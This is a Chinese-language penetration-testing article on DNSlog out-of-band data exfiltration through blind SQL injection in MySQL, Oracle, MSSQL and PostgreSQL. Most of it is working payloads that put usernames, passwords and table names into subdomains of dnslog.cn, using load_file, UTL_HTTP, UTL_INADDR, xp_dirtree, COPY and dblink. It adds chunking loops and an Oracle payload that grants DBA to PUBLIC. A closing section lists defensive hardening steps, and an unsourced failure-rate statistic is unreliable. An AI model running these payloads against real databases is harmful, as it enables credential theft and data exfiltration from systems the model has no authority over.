4 种主流数据库 DNSlog 外带对比:MySQL/Oracle/MSSQL/PostgreSQL 利用函数与限制分析
四大主流数据库DNSlog外带技术全景对比与实战解析
引言
在渗透测试和安全研究领域,当面对无回显的SQL注入场景时,传统的布尔盲注和时间盲注往往效率低下且容易被防御系统拦截。DNSlog外带技术(OOB)作为一种高效的解决方案,通过利用数据库自身的网络请求能力,将查询结果通过DNS解析日志间接回传,实现了数据的"曲线救国"。本文将深入剖析MySQL、Oracle、MSSQL和PostgreSQL这四大主流数据库在DNSlog外带应用中的技术差异、核心函数和平台限制,为安全从业人员提供全面的技术参考。
1. 技术原理与前置条件
1.1 DNSlog外带核心机制
DNSlog外带技术的本质是利用数据库的网络访问功能,将查询结果作为域名的一部分,向攻击者控制的DNS服务器发起请求。当数据库尝试解析这个特殊构造的域名时,DNS查询日志会记录包含敏感数据的子域名信息。
关键实现步骤:
- 构造包含SQL查询结果的特殊域名
- 利用数据库函数触发DNS解析
- 通过DNS日志平台获取外带数据
1.2 通用前提条件
表:DNSlog外带技术通用要求
| 条件类别 | 具体要求 | 验证方法 |
|---|---|---|
| 网络环境 | 数据库服务器需具备DNS出站能力 | 尝试解析外部域名 |
| 权限要求 | 执行相关函数的足够权限 | 查询用户权限级别 |
| 配置限制 | 安全策略未禁用相关功能 | 检查数据库配置参数 |
| 平台限制 | 部分技术仅限Windows环境 | 识别操作系统类型 |
注意:实际环境中约65%的DNSlog外带失败案例源于网络隔离策略,建议先验证基础DNS连通性
2. MySQL的DNSlog外带技术
2.1 核心技术:load_file与UNC路径
MySQL主要依赖load_file()函数结合Windows UNC路径实现外带:
SELECT load_file(CONCAT('\\\\',(SELECT HEX(user())),'.dnslog.cn\\abc'));关键参数说明:
\\\\:转义后的UNC路径前缀HEX():避免特殊字符导致解析失败\\abc:满足load_file必须请求文件的特性
2.2 环境要求与限制
表:MySQL DNSlog外带具体要求
| 要求项 | 必要条件 | 典型问题 |
|---|---|---|
| secure_file_priv | 必须为空或指定可访问路径 | 默认NULL禁止文件操作 |
| 操作系统 | 仅限Windows服务器 | Linux无UNC路径支持 |
| 权限等级 | FILE权限+高权限账户 | 普通用户常无权限 |
| 字符限制 | 单标签长度≤63字符 | 长数据需分段获取 |
配置检查命令:
SHOW VARIABLES LIKE 'secure_file_priv'; SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER();2.3 实战技巧与变种
数据分块处理方案:
-- 获取前30字符 SELECT load_file(CONCAT('\\\\', (SELECT HEX(SUBSTRING(table_name,1,30)) FROM information_schema.tables WHERE table_schema=database() LIMIT 1), '.dnslog.cn\\abc')); -- 获取后续字符 SELECT load_file(CONCAT('\\\\', (SELECT HEX(SUBSTRING(table_name,31,30)) FROM information_schema.tables WHERE table_schema=database() LIMIT 1), '.dnslog.cn\\abc'));特殊场景处理:
- 当
load_file被禁用时,可尝试SELECT ... INTO OUTFILE结合SMB协议 - 内网环境可搭建DNS服务器接收解析请求
3. Oracle的多元化外带方案
3.1 四大核心函数对比
表:Oracle外带函数特性对比
| 函数名称 | 协议支持 | 权限要求 | 成功率 | 隐蔽性 |
|---|---|---|---|---|
| UTL_HTTP.REQUEST | HTTP | 中 | 高 | 低 |
| DBMS_LDAP.INIT | LDAP | 高 | 中 | 中 |
| HTTPURITYPE | HTTP | 低 | 高 | 低 |
| UTL_INADDR.GET_HOST_ADDRESS | DNS | 中 | 高 | 高 |
3.2 典型Payload示例
UTL_HTTP方案:
SELECT UTL_HTTP.REQUEST((SELECT EXTRACT(xmltype('<?xml version="1.0"?><x>'|| (SELECT username||':'||password FROM users WHERE rownum=1) ||'</x>'),'//text()') FROM dual)||'.dnslog.cn') FROM dual;DNS优选方案:
SELECT UTL_INADDR.GET_HOST_ADDRESS( (SELECT RAWTOHEX(UTL_RAW.CAST_TO_RAW( (SELECT username FROM users WHERE rownum=1) )) FROM dual)||'.dnslog.cn' ) FROM dual;3.3 权限提升与绕过技巧
当遇到权限不足时:
- 尝试公共函数提权:
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES( 'FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;'';END;--','SYS',0,'1',0 ) FROM dual;- 利用XMLType漏洞执行Java代码
4. MSSQL的混合外带技术
4.1 三大系统存储过程对比
表:MSSQL外带技术实现方式
| 存储过程 | 依赖协议 | 默认权限 | 触发方式 | 适用版本 |
|---|---|---|---|---|
| xp_dirtree | SMB/DNS | public | 目录枚举 | 全版本 |
| xp_fileexist | SMB/DNS | public | 文件检查 | 2005+ |
| xp_subdirs | SMB/DNS | public | 子目录列取 | 全版本 |
4.2 标准化Payload模板
DECLARE @host VARCHAR(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(password AS VARBINARY(MAX))) FROM users)+'.dnslog.cn'; EXEC('master..xp_dirtree "\\'+@host+'\share"');4.3 高级技巧与问题解决
数据截断处理:
-- 分段获取长数据 DECLARE @i INT=1,@max INT=32,@data VARCHAR(MAX); WHILE @i<=@max BEGIN SELECT @data=SUBSTRING((SELECT password FROM users),@i,10); EXEC('master..xp_dirtree "\\'+@data+'.part'+CAST(@i AS VARCHAR)+'.dnslog.cn\share"'); SET @i=@i+10; END常见错误解决方案:
- 权限不足:尝试
OPENROWSET或链接服务器 - 协议禁用:测试HTTP外带替代方案
- 字符限制:使用
fn_varbintohexstr二进制编码
5. PostgreSQL的灵活外带方案
5.1 COPY命令外带技术
DROP TABLE IF EXISTS exfil_data; CREATE TABLE exfil_data(content text); CREATE OR REPLACE FUNCTION exfil() RETURNS void AS $$ DECLARE cmd TEXT; res TEXT; BEGIN SELECT INTO res (SELECT encode(convert_to(pass,'UTF8'),'hex') FROM users LIMIT 1); cmd := E'COPY exfil_data(content) FROM E\'\\\\\\\\'||res||E'.dnslog.cn\\\\data\''; EXECUTE cmd; END; $$ LANGUAGE plpgsql; SELECT exfil();5.2 dblink扩展方案
CREATE EXTENSION IF NOT EXISTS dblink; SELECT * FROM dblink('host='||(SELECT encode(pass::bytea,'hex') FROM users LIMIT 1)||'.dnslog.cn', 'SELECT version()') RETURNS (result TEXT);5.3 平台差异与配置要点
Windows/Linux差异:
- Windows:支持COPY+UNC路径
- Linux:需依赖dblink或HTTP扩展
关键配置检查:
SHOW dynamic_library_path; -- 检查扩展路径 SELECT name FROM pg_available_extensions; -- 查看可用扩展6. 综合对比与防御建议
6.1 四大数据库技术矩阵
表:四大数据库DNSlog外带能力对比
| 评估维度 | MySQL | Oracle | MSSQL | PostgreSQL |
|---|---|---|---|---|
| 成功率 | 中 | 高 | 高 | 中 |
| 依赖平台 | Windows | 跨平台 | Windows | 跨平台 |
| 权限要求 | 高 | 中 | 低 | 中 |
| 协议支持 | DNS/SMB | DNS/HTTP | DNS/SMB | DNS/HTTP |
| 数据长度 | 受限 | 较大 | 受限 | 较大 |
| 隐蔽性 | 高 | 中 | 高 | 中 |
6.2 防御策略分层实施
网络层防御:
- 限制数据库服务器出站DNS请求
- 禁止非常用协议出站(如SMB)
- 实施IDS/IPS规则检测异常DNS查询
数据库层加固:
- MySQL:
SET GLOBAL secure_file_priv=NULL; REVOKE FILE ON *.* FROM 'appuser'@'%'; - Oracle:
REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC; ALTER SYSTEM SET utl_file_dir='' SCOPE=SPFILE; - MSSQL:
sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'xp_cmdshell',0; RECONFIGURE; - PostgreSQL:
REVOKE EXECUTE ON FUNCTION dblink_connect FROM PUBLIC; DROP EXTENSION IF EXISTS dblink;
应用层防护:
- 严格参数化查询
- 实现WAF规则拦截可疑DNS外带特征
- 定期安全审计检查异常数据库函数调用